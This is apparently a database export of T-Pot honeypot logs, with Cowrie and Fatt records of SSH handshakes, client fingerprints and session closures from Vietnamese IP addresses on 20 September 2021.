21332	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:41.82796+03	2021-09-20 14:15:03.527614+03	{"_id": "dAbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f99a71c3f87c", "@version": "1", "duration": 2.4604713916778564, "timestamp": "2021-09-20T11:06:41.827960Z", "@timestamp": "2021-09-20T11:06:41.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21333	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:41.486735+03	2021-09-20 14:15:03.528613+03	{"_id": "gQbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41472, "timestamp": "2021-09-20T11:06:41.486735", "@timestamp": "2021-09-20T11:06:41.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21334	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:41.504716+03	2021-09-20 14:15:03.529612+03	{"_id": "ggbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41472, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.504716", "@timestamp": "2021-09-20T11:06:41.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21335	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:41.625777+03	2021-09-20 14:15:03.530614+03	{"_id": "gwbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57236, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.625777", "@timestamp": "2021-09-20T11:06:41.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21336	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:41.706257+03	2021-09-20 14:15:03.532612+03	{"_id": "hAbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54144, "timestamp": "2021-09-20T11:06:41.706257", "@timestamp": "2021-09-20T11:06:41.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21347	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.62979+03	2021-09-20 14:15:03.546612+03	{"_id": "pwbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "88217dc46003", "@version": "1", "duration": 2.484168291091919, "timestamp": "2021-09-20T11:06:42.629790Z", "@timestamp": "2021-09-20T11:06:42.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21337	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:41.760426+03	2021-09-20 14:15:03.533612+03	{"_id": "hQbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47686, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.760426", "@timestamp": "2021-09-20T11:06:41.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21338	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:41.255948+03	2021-09-20 14:15:03.534613+03	{"_id": "hgbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5eaa8a641966", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:41.255948Z", "@timestamp": "2021-09-20T11:06:41.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21339	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.464902+03	2021-09-20 14:15:03.536612+03	{"_id": "hwbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1ffa175fba2f", "@version": "1", "duration": 2.3972737789154053, "timestamp": "2021-09-20T11:06:41.464902Z", "@timestamp": "2021-09-20T11:06:41.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21340	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.626027+03	2021-09-20 14:15:03.537613+03	{"_id": "iAbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a73b813d6920", "@version": "1", "timestamp": "2021-09-20T11:06:41.626027Z", "@timestamp": "2021-09-20T11:06:41.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 